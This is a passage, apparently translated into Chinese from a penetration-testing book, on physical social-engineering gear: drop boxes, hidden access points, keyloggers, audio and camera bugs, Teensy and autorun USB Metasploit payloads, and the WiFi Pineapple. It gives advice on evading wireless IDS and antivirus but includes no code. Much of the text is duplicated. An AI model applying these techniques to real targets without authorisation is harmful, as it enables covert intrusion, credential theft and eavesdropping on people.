一个支持 3G 的路由器绝对可以成为一个有用的"投放盒"。将设备插入网络并让它通过蜂窝网络创建 VPN 返回数据中心,就像拥有本地网络访问一样。有几家制造商生产适合的设备。思科和 DrayTek 制造了几款适合此工作的设备。也许你已经有这些设备中的一款了,如果是这样的话,就好好利用它吧。
在敌方阵地后面拥有一个完全功能的计算机在某种程度上确实提供了更多的灵活性,但在许多情况下,路由器可能是一个很好的选择。我们已经介绍了在 Linux 平台上使用 OpenVPN 来提供相同的连接选项,而且灵活性更强!
无线接入点
对于社交工程活动来说,使用高品质无线接入点有很多好处。首先,它实际上是非常简单的,只需插上电源就可以了。假设设备做工精良,并且你尽量避免 AP 和远程位置之间有太多障碍物,那么你应该可以顺利进行。当然,无线接入点也存在明显的局限性和问题,这可能会在评估中给我们带来麻烦。首先,范围通常是一个问题,特别是在老建筑物或者有厚厚混凝土墙的地方。只要笔记本电脑有一个不错的天线,应该就不会有太多问题。考虑在接入点上安装一个高增益天线。另一个问题是可见性。如果目标有任何形式的无线入侵检测系统(IDS)解决方案,他们很可能会在任务完成之前追踪到接入点。在某些情况下,将接入点的服务集标识符(SSID)命名为邻近企业的名称就足以确保它能够逃过监控。
对于不同场景拥有几种不同类型的接入点确实非常方便,但是 Belkin Go N300 已经取得了一些显著的成功。它非常小,没有外部天线,但仍然似乎有良好的覆盖范围。它大约和一副牌的大小差不多,甚至看起来不像是一个接入点。非常适合隐藏在地板下甚至是显眼的地方。
危害内部系统
公平地说,这个并不是物理上的"投递盒",但逻辑上肯定符合要求。不仅仅带走硬件,还带上一个带有 Metasploit 负载的 USB 棒。然后可以用它来入侵内部系统并创建一个反向隧道回总部。当然,这种攻击依赖于找到一个未锁定的系统或说服其他人运行负载。无论如何,它可以提供与"投递盒"相同级别的访问权限,而不会被发现的风险。不过,当接待员拿到一个 USB 棒时,没有什么比一个杀毒软件通知更能表明"请叫安保"了。
其他有用的小工具
我喜欢小工具,从这一整章节你可能已经能够看出来了!我喜欢制造它们,调整它们,损坏它们,并让它们做一些它们本不应该做的事情。如果一切都只是按照说明书上说的那样,那会有多无趣呢?这可能就是我以我的职业为乐的原因。除了我们已经讨论过的内容,还有一些其他在社会工程学中必备的有用小工具。让我们来看看它们。
键盘记录器
键盘记录器在各种形式上已经存在很长时间了。它们通常是一个小设备,位于键盘和计算机之间,用于捕获数据,比如每次按键。它们有 USB 和 PS2 两种格式,尽管在任何现代环境中可能很难找到 PS2 鼠标和键盘,但大多数信用卡设备使用 PS2 连接。
尽管它们非常古老,但在社会工程学中仍然异常有用。这主要原因是它们非常小,通常可能多年都不会被员工发现。尽管没有人会想要让它在那里放这么长时间。它们也非常简单快速安装,这在社会工程学中总是一个优点,因为时间几乎肯定会很紧张。
键盘记录器的主要挑战在于需要返回目标机器来取回它们,即使这样,谁知道它们会捕获到什么。目的是捕获系统的凭证,这些凭证可以在整个过程中使用,只要选择的机器看起来正在使用,那就成功了!
购买 USB 键盘记录器时要小心,确保它看起来像图 12.13 中所示的那样。
图 12.13 一个典型的 USB 键盘记录器。
请注意它有两个 USB 连接,一个插入目标计算机,另一个供键盘插入。很多人在出售一个基本上只是一个带有一些键盘记录软件的 USB 棒的"键盘记录器"。基本上,这样的一个可以很容易地使用 Metasploit 或社会工程工具包制作。
这种类型的键盘记录器的问题在于它们需要在目标主机上安装服务,这需要管理员权限。换句话说,它们部署速度慢且笨重。它们更多地被用于监控而不是社会工程的角度。
录音设备
有很多商店出售音频监听设备。这些设备可以根据移动或声音触发录制。同样,留下设备的问题在于必须恢复才能访问录制的数据,就像键盘记录器一样。另一个想法是将 USB 麦克风添加到 RaspberryPi 的 Dropbox 中。然后可以用它来记录到本地文件,可以通过 OpenVPN 下载。甚至添加摄像头,这样目标组织就有了眼睛。在敏感区域或会议室中,"dropbox" 将特别有用。
Teensy USB
Teensy USB 基本上是一个小型的 USB 存储设备,被系统识别为人机接口设备,换句话说,一个键盘。该设备是可编程的,可以发出您需要的任何命令或一组按键。由于它被识别为键盘,它适用于所有类型的系统。
作为安全专业人员,这个功能集通常被用来妥协工作站和服务器。
更好的是,社会工程工具包支持创建与 Teensy 兼容的 Metasploit 负载。所需的只是在某处创建一个监听器,然后将 Teensy 插入目标主机。
恶意的 USB 存储设备
值得注意的是,如果发现了一个未锁定的工作站,随时准备好一个恶意的 USB 存储设备是值得的。快速运行负载,然后在短时间内与总部的团队建立一个反向会话。
社会工程工具包支持生成利用 Autorun 的恶意 USB 存储设备,作为执行的方法。尽管如此,这种行为的通常风险仍然存在。这可能会触发杀毒软件或入侵防御系统(IPS)警报,并且迅速有人在较短的时间内寻找。确保负载编码和加密良好通常可以确保其绕过大多数杀毒软件解决方案,但出站连接可能仍然会被 IPS 标记。
有这个选择总是值得的,最好有它而不需要它,也比需要它而没有它要好。
WiFi Pineapple
我已经提到过这个疯狂的小魔盒,所以显然我真的很喜欢它们。它绝对是一个有用的设备,尽管它可能不符合经典社会工程的范畴。
如果您曾经连接到开放的无线网络,那么使用的设备将在过去的一天结束后继续搜索该网络。 Pineapple 利用了这一"特性",通过响应声称是该接入点的探测请求来进行攻击。此时,客户端连接,通常受害者并不知情。现在,您就坐在了这个连接的"中间",可以运行数据包捕获或重定向流量,甚至伪造域名服务(DNS)响应。显然,这是非常强大的,尤其是放在错误的手中!
对于社会工程师来说,非常重要的是要小心如何使用这些数据以及要注意什么。尽量避免陷入个人数据被捕获的境地,从而违反了一些法律。
同样地,虽然这不严格属于社会工程领域,但在混合评估中,它是一种非常有用的工具!
WiFi Pineapple 可以从 Hak5 购买 - hakshop.myshopify.com/products/wifi-pineapple
。售价$89.99,绝对物有所值。
概要
本章涵盖了使用各种技术类型来增强评估的内容。这包括了在执行参与的物理部分时遇到的一些挑战。物理部分是指顾问到达目标现场以获取未经授权的访问权限的地方。
我们还研究了与连接到物理网络相关的挑战,包括使用端口测试工具和网络书,以及涵盖了在现场时解决端口安全和缺乏 DHCP 的一些想法。
下一步是远程连接到网络的概念。这通常涉及连接到目标网络后在现场留下一个称为"dropbox"的设备。
我们仔细研究了使用树莓派构建我们自己的 3G 可用 dropbox。这包括增加诸如 LCD 屏幕显示连接状态等改进。然后,我们考虑了为设备添加 OpenVPN 支持,本质上为我们提供了对目标网络的不受限制的访问。
接下来,我们讨论了一些替代的 dropbox 想法,其中一些在最近的新闻媒体中受到了广泛关注。
为了总结本章,我们还介绍了一些可以在参与中使用的小工具和工具,包括键盘记录器、Teensy 和音频记录。
我真诚地希望你花时间建立自己的 dropbox。这将确实使你的评估与竞争对手区别开来。
下一章将重点介绍评估的主要成果,即客户报告。
以用它来入侵内部系统并创建一个反向隧道回总部。当然,这种攻击依赖于找到一个未锁定的系统或说服其他人运行负载。无论如何,它可以提供与"投递盒"相同级别的访问权限,而不会被发现的风险。不过,当接待员拿到一个 USB 棒时,没有什么比一个杀毒软件通知更能表明"请叫安保"了。
其他有用的小工具
我喜欢小工具,从这一整章节你可能已经能够看出来了!我喜欢制造它们,调整它们,损坏它们,并让它们做一些它们本不应该做的事情。如果一切都只是按照说明书上说的那样,那会有多无趣呢?这可能就是我以我的职业为乐的原因。除了我们已经讨论过的内容,还有一些其他在社会工程学中必备的有用小工具。让我们来看看它们。
键盘记录器
键盘记录器在各种形式上已经存在很长时间了。它们通常是一个小设备,位于键盘和计算机之间,用于捕获数据,比如每次按键。它们有 USB 和 PS2 两种格式,尽管在任何现代环境中可能很难找到 PS2 鼠标和键盘,但大多数信用卡设备使用 PS2 连接。
尽管它们非常古老,但在社会工程学中仍然异常有用。这主要原因是它们非常小,通常可能多年都不会被员工发现。尽管没有人会想要让它在那里放这么长时间。它们也非常简单快速安装,这在社会工程学中总是一个优点,因为时间几乎肯定会很紧张。
键盘记录器的主要挑战在于需要返回目标机器来取回它们,即使这样,谁知道它们会捕获到什么。目的是捕获系统的凭证,这些凭证可以在整个过程中使用,只要选择的机器看起来正在使用,那就成功了!
购买 USB 键盘记录器时要小心,确保它看起来像图 12.13 中所示的那样。
[外链图片转存中...(img-AfybnOrI-1713687080115)]
图 12.13 一个典型的 USB 键盘记录器。
请注意它有两个 USB 连接,一个插入目标计算机,另一个供键盘插入。很多人在出售一个基本上只是一个带有一些键盘记录软件的 USB 棒的"键盘记录器"。基本上,这样的一个可以很容易地使用 Metasploit 或社会工程工具包制作。
这种类型的键盘记录器的问题在于它们需要在目标主机上安装服务,这需要管理员权限。换句话说,它们部署速度慢且笨重。它们更多地被用于监控而不是社会工程的角度。
录音设备
有很多商店出售音频监听设备。这些设备可以根据移动或声音触发录制。同样,留下设备的问题在于必须恢复才能访问录制的数据,就像键盘记录器一样。另一个想法是将 USB 麦克风添加到 RaspberryPi 的 Dropbox 中。然后可以用它来记录到本地文件,可以通过 OpenVPN 下载。甚至添加摄像头,这样目标组织就有了眼睛。在敏感区域或会议室中,"dropbox" 将特别有用。
Teensy USB
Teensy USB 基本上是一个小型的 USB 存储设备,被系统识别为人机接口设备,换句话说,一个键盘。该设备是可编程的,可以发出您需要的任何命令或一组按键。由于它被识别为键盘,它适用于所有类型的系统。
作为安全专业人员,这个功能集通常被用来妥协工作站和服务器。
更好的是,社会工程工具包支持创建与 Teensy 兼容的 Metasploit 负载。所需的只是在某处创建一个监听器,然后将 Teensy 插入目标主机。
恶意的 USB 存储设备
值得注意的是,如果发现了一个未锁定的工作站,随时准备好一个恶意的 USB 存储设备是值得的。快速运行负载,然后在短时间内与总部的团队建立一个反向会话。
社会工程工具包支持生成利用 Autorun 的恶意 USB 存储设备,作为执行的方法。尽管如此,这种行为的通常风险仍然存在。这可能会触发杀毒软件或入侵防御系统(IPS)警报,并且迅速有人在较短的时间内寻找。确保负载编码和加密良好通常可以确保其绕过大多数杀毒软件解决方案,但出站连接可能仍然会被 IPS 标记。
有这个选择总是值得的,最好有它而不需要它,也比需要它而没有它要好。
WiFi Pineapple
我已经提到过这个疯狂的小魔盒,所以显然我真的很喜欢它们。它绝对是一个有用的设备,尽管它可能不符合经典社会工程的范畴。
如果您曾经连接到开放的无线网络,那么使用的设备将在过去的一天结束后继续搜索该网络。 Pineapple 利用了这一"特性",通过响应声称是该接入点的探测请求来进行攻击。此时,客户端连接,通常受害者并不知情。现在,您就坐在了这个连接的"中间",可以运行数据包捕获或重定向流量,甚至伪造域名服务(DNS)响应。显然,这是非常强大的,尤其是放在错误的手中!
对于社会工程师来说,非常重要的是要小心如何使用这些数据以及要注意什么。尽量避免陷入个人数据被捕获的境地,从而违反了一些法律。
同样地,虽然这不严格属于社会工程领域,但在混合评估中,它是一种非常有用的工具!
WiFi Pineapple 可以从 Hak5 购买 - hakshop.myshopify.com/products/wifi-pineapple
。售价$89.99,绝对物有所值。
概要
本章涵盖了使用各种技术类型来增强评估的内容。这包括了在执行参与的物理部分时遇到的一些挑战。物理部分是指顾问到达目标现场以获取未经授权的访问权限的地方。
我们还研究了与连接到物理网络相关的挑战,包括使用端口测试工具和网络书,以及涵盖了在现场时解决端口安全和缺乏 DHCP 的一些想法。
下一步是远程连接到网络的概念。这通常涉及连接到目标网络后在现场留下一个称为"dropbox"的设备。
我们仔细研究了使用树莓派构建我们自己的 3G 可用 dropbox。这包括增加诸如 LCD 屏幕显示连接状态等改进。然后,我们考虑了为设备添加 OpenVPN 支持,本质上为我们提供了对目标网络的不受限制的访问。
接下来,我们讨论了一些替代的 dropbox 想法,其中一些在最近的新闻媒体中受到了广泛关注。
为了总结本章,我们还介绍了一些可以在参与中使用的小工具和工具,包括键盘记录器、Teensy 和音频记录。
我真诚地希望你花时间建立自己的 dropbox。这将确实使你的评估与竞争对手区别开来。
下一章将重点介绍评估的主要成果,即客户报告。